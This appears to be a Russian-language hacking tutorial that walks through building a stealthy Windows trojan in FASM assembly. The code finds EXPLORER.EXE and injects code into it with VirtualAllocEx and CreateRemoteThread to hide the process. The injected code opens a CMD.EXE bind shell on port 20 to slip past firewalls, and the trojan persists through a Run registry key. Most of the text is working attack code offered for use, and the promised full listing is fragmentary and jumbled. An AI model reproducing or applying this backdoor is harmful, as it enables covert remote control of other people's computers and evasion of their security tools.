Я не хвалюсь тем, чего у меня нет, - сказал он,
- и не выдаю себя за знатока морского дела и судоходства
Д.Ф.Купер
Если не все, то многие встречались с бэкдорами и троянскими конями. Сейчас
атрибутом почти каждого троянского коня стала расширенная функциональность. И
если раньше, когда в основном были распространены операционные системы
Windows 9x, было достаточно просто скрыть процесс от глаз пользователя, то
сейчас это стало достаточно сложно. В последнее время широкое распространение
получили операционные системы линейки Windows NT. Данные системы отличаются
гораздо болеё серьёзной защитой , отличающейся от защиты Windows 9x на порядки. Большинство пользователей считает, что от зоркого ока Task Managera не
спрячется ни один процесс. Но это истина лишь отчасти, возможен перехват
системной функции, которую использует Task Manager. Это позволит подменить
её результаты, например убрать сведения об одном из процессов. Но и это не
всё, возможно инжектирование кода в другой процесс. Данная техника убивает
двух зайцев одним ударом. Давайте разберёмся с этой техникой поподробнее,
помимо сокрытия процесса (по сути, как такового процесса и нет вовсе) данная
техника позволяет обойти брандмауэр. Каким образом? Достаточно инжектировать
код в процесс, для которого созданы политики безопасности и воспользоваться
данными политиками. Вот например, для Internet Explorer разрешены порты,
где-то в районе 30000 тысяч. Если в него инжектироваться и открыть порт
скажем 26384, то firewall покорно промолчит. Но как быть если Internet Explorer
не запущен? Не ждать же нам, пока его запустят. Поэтому мы инжектируем наш код
в процесс EXPLORER.EXE и откроем 20 порт, этот порт для данного процесса
разрешён и зарегистрирован как ftp-data. Это канал данных для протокола передачи
файлов. Теперь давайте перейдём к практическим аспектам, давайте определимся,
как мы будем инжектировать код в наш процесс. Я это сделал при помощи выделения
памяти в адресном пространстве EXPLORER.EXE и создания удалённого потока.
Первое, что нужно сделать для того, чтобы инжектировать код в процесс это
открыть наш процесс. А открывать мы его будем функцие WIN API
OpenProcess. Данной функции в качестве параметра передается ПИД (PID) открываемого процесса,
идентификатор. Чтобы узнать ПИД процесса существует несколько методов:
1) С помощью библиотеки Process Status Helper (PSAPI)
2) С помощью ToolHelp32 API
3) С помощью недокументированной функции ZwQuerySystemInformation
4) Через счетчики производительности
5) С использованием интерфейсов Windows Management Instrumentation
Task Manager получает сведения о процессах от функции
ZwQuerySystemInformation. Мы же будем использовать документированные функции ToolHelp32
API. Для получения ПИДа EXPLORER.EXE нам нужно вначале сделать снимок системы, и
после этого перебирать процессы (подобно тому, как это делается с файлами при
помощи функций FindFirstFile и FindNextFile).
Рассмотрим, как это делается на примере функции на ассемблере:
proc find_pid
Ищем ПИД
push 0
push 2
Делаем снимок системы
call [CreateToolhelp32Snapshot]
inc eax
test eax,eax
Ошибка?
jz .exit__
Выходим
dec eax
mov [snapshot__],eax
Сохраняем хэндл
mov [p_entry.dwSize],sizeof.PROCESSENTRY32
push p_entry
push [snapshot__]
Получаем информацию о
call [Process32First]
первом процессе
test eax,eax
Ошибка?
jz .exit__
Выходим
jmp .cmp__
Идём на сравнение
.p_next__:
mov [p_entry.dwSize],sizeof.PROCESSENTRY32
push p_entry
push [snapshot__]
Получаем информацию о
call [Process32Next]
следующем процессе
test eax,eax
Ошибка?
jz .exit__
Выходим
.cmp__:
push p_entry.szExeFile
push proga__
Это EXPLORER.EXE?
call [lstrcmp]
test eax,eax
jz .find_it__
Да, нашли
jmp .p_next__
Нет, ищем дальше
.find_it__:
mov eax,[p_entry.th32ProcessID]
mov [pid],eax
Сохраняем ПИД
push [snapshot__]
call [CloseHandle]
Закрываем хэндл
.exit__:
ret
Возврат из подпрограммы
endp
Здесь и далее в тексте используется FLAT ASSEMBLER (fasm 1.57), для компиляции
достаточно будет вставить код в его редактор и нажать комбинацию клавиш CTRL+F9.
Далее, после получения ПИДа процесса нужно открыть его, выделить в нём память,
записать в память код и передать на него управление. Рихтер в своей книге описал
этот метод достаточно подробно, но он передавал в чужое
адресное пространство не код, а имя библиотеки и загружал её LoadLibrary. Но этот метод нам не
подходит по 2-м причинам:
1) Необходимость 2-х файлов *.exe и *.dll, что не очень удобно (можно было бы конечно их склеить а потом "откусить" *.dll)
2) В адресном пространстве была бы видна неизвестная *.dll , а сейчас
filrewall'ы этого очень не любят.
Теперь рассмотрим подпрограмму инжектирования кода в
EXPLORER.EXE:
proc inject_code
Инжектируем код
push [pid]
push 0
push access__
Открываем EXPLORER.EXE
call [OpenProcess]
test eax,eax
Открыли?
jz .exit__
Нет, на выход
mov [process__],eax
Сохраняем хэндл процесса
push PAGE_READWRITE
push MEM_COMMIT
push 0x1000
Выделяем в адресном
push 0
пространстве EXPLORER.EXE
push [process__]
тысячу байт памяти
call [VirtualAllocEx]
test eax,eax
Выделили?
jz .exit__
Нет, на выход
mov [memory__],eax
Сохраняем хэндл памяти
push 0
push 0x1000
push backdoor_code_
Пишем в выделенную память
push [memory__]
наш код
push [process__]
call [WriteProcessMemory]
dec eax
test eax,eax
Записали успешно?
jnz .exit__
Нет, на выход
inc eax
Да, работаем дальше
push 0
push 0
push [memory__]
push [memory__]
Создаём удалённый поток
push 0
в EXPLORER.EXE
push 0
указывая на наш код
push [process__]
call [CreateRemoteThread]
.exit__:
push [process__]
call [CloseHandle]
Закрываем хэндл
ret
Возврат из подпрограммы
endp
Но у Рихтера после инжектирования *.dll не возникало никаких проблем,
потому что в *.dll содержится таблица перемещаемых элементов и все переходы по
ней правятся и работают. А нам придется создать переносимый код, почти как у
вируса. Но в отличии от вируса мы можем позволить себе просто сохранить в нашем
коде адреса необходимых функций. Потому как они перенастраиваются после каждого
запуска программы (загрузчиком), в разделе импорта.
Рассмотрим код, который отвечает за сохранение адресов функций WIN
API:
proc resolve_api
Сохраняем адреса API
mov eax,[WSAStartup]
Получаем адрес функции
mov [wsa_startup],eax
и сохраняем его в коде
mov eax,[WSASocket]
Получаем адрес функции
mov [wsa_socketa],eax
и сохраняем его в коде
mov eax,[bind]
Получаем адрес функции
mov [bind_],eax
и сохраняем его в коде
mov eax,[listen]
Получаем адрес функции
mov [listen_],eax
и сохраняем его в коде
mov eax,[accept]
Получаем адрес функции
mov [accept_],eax
и сохраняем его в коде
mov eax,[CreateProcess]
Получаем адрес функции
mov [create_process_],eax
и сохраняем его в коде
mov eax,[CloseHandle]
Получаем адрес функции
mov [close_handle_],eax
и сохраняем его в коде
mov eax,[LoadLibrary]
Получаем адрес функции
mov [loadlibrary_],eax
и сохраняем его в коде
mov eax,[closesocket]
Получаем адрес функции
mov [close_socket_],eax
и сохраняем его в коде
ret
Возврат из подпрограммы
endp
Теперь перейдём к реализации самого инжектируемого кода, он создаётся
следующим образом. Вначале доступ к всем используемым данным перенастраивается,
через дельта смещение. Сами WIN API функции будут вызываться следующим образом:
mov eax, Адрес_функции
call eax
Сам алгоритм бэкдора следующий: инициализируем сокеты, создаём сокет,
привязываем его к 20 порту, после этого ждём соединения. Когда соединились
создаётся процесс CMD.EXE с перенаправленным вводом и выводом на сокет, после
завершения процесса закрываем соединение и всё повторяем заново. Это для того,
чтобы наш бэкдор не получился одноразовым.
Рассмотрим инжектируемый код:
backdoor_code_:
call deltax
deltax: pop ebp
Получаем дельта смещение
sub ebp,deltax
lea eax,[ebp+ws2_32_2]
push eax
Загружаем библиотеку
db 0xb8
WS2_32.DLL(на всякий случай)
loadlibrary_ dd 0
Место где хранится адрес
call eax
lea eax,[ebp+wsadata1]
push eax
push 0x101
Вызываем функцию
db 0xb8
WSAStartup
wsa_startup dd 0
call eax
mov [ebp+sin.sin_family],2
AF_INET
mov eax,[ebp+n_port]
bswap eax
Преобразовываем номер
shr eax,16
порта к сетевому виду
mov [ebp+sin.sin_port],ax
Заполняем структуру sin
push 0
push 0
push 0
push 0
push 1
push 2
db 0xb8
wsa_socketa dd 0
Создаём сокет
call eax
mov ebx,eax
Сохраняем его для
mov [ebp+socket__],eax
дальнейшего использования
push 16
lea eax,[ebp+sin]
push eax
push ebx
db 0xb8
bind_ dd 0
Биндим сокет
call eax
push 0
push ebx
db 0xb8
listen_ dd 0
Переводим сокет в слушающий
call eax
режим
push 0
push ecx
push ebx
db 0xb8
accept_ dd 0
Ждём соединения
call eax
mov [ebp+handle_],eax
Сохраняем хэндл соединения
Заполняем структуру
STARTUP_INFO
mov [ebp+s_info.dwFlags],flags__
mov [ebp+s_info.wShowWindow],SW_HIDE
mov [ebp+s_info.hStdInput],eax
mov [ebp+s_info.hStdOutput],eax
mov [ebp+s_info.hStdError],eax
lea eax,[ebp+s_info]
Адрес структуры в eax
push eax
push eax
xor ecx,ecx
push ecx
push ecx
push ecx
push 1
push ecx
push ecx
lea eax,[ebp+cmd__]
push eax
Создаём процесс без окна
push 0
и с перенаправленным выводом
на
db 0xb8
сокет
create_process_ dd 0
Процесс CMD.EXE :)
call eax
push [ebp+handle_]
db 0xb8
close_handle_ dd 0
Закрываем хэндл соединения
call eax
push [ebp+socket__]
db 0xb8
close_socket_ dd 0
Закрываем сокет
call eax
lea edi,[s_info+ebp]
mov al,0
mov ecx,sizeof.STARTUPINFO
Очищаем структуру
rep stosb
STARTUPINFO
jmp backdoor_code_
И повторяем всё до
бесконечности
Но, как же код запустится после перезагрузки или после крушения
EXPLORER.EXE? Здесь, увы, я пока что новинками поделиться не могу, всё делается через классику
жанра - запись в реестре в ключик автозапуска.
Рассмотрим функцию инфицирования системы:
proc infect_system
Инфицируем систему
push 255
push old_dir
push 0
Узнаём своё имя файла
call [GetModuleFileName]
из которого стартовали
push 255
push win_dir
Получаем имя директории
call [GetWindowsDirectory]
Windows
mov edx,win_dir
mov dword [edx+eax],'\mem'
Формируем строку с полным
mov dword [edx+eax+4],'srvc'
путём к Windows
mov dword [edx+eax+8],'.exe'
и именем файла
push 0
push win_dir
push old_dir
Копируем себя в Windows
call [CopyFile]
директорию
xor eax,eax
push tmp
push h_key
push eax
push 3
push eax
push eax
push eax
Открываем ключ реестра
push reg__
отвечающий за автозагрузку
push 80000002h
call [RegCreateKeyEx]
push 256
push win_dir
push 1
push 0
push reg2__
Устанавливаем значение
push [h_key]
в этом ключе на нашу
call [RegSetValueEx]
программу
push [h_key]
call [RegCloseKey]
Закрываем ключ
ret
Возврат из подпрограммы
endp
Нужно заметить, что данный бэкдор на некоторых версиях Windows 2000 не работает,
по всей видимости из-за перенаправления ввода и вывода на сокет.
Далее идёт полный листинг троянского коня, которого достаточно сложно
обнаружить.
; (+) Не виден в списке задач ;
; (+) Обходит брандмауэры ;
; (+) Прописывается в регистре и поселяется в директории Windows ;
; (+) Открывает CMD.EXE на 20 порту из процесса EXPLORER.EXE ;
;%%%%%%%%%%%%%%%%%%%%%%%;
db 'SOFTWARE\Microsoft\Windows
\CurrentVersion\Run',0
reg2__:
db 'MemSrvc',0
.end start
Программы данного класса, получили широкое распространение не только у хакеров,
но и у системных администраторов, которые незримо следят за нерадивыми
пользователями. Так же, некоторые разновидности программ этого рода встречаются
в Интернет кафе. Поэтому, чтобы не попасться под "горячую" руку вашем системному
администратору, обновляйте как можно чаще ваши firewall и антивирусы.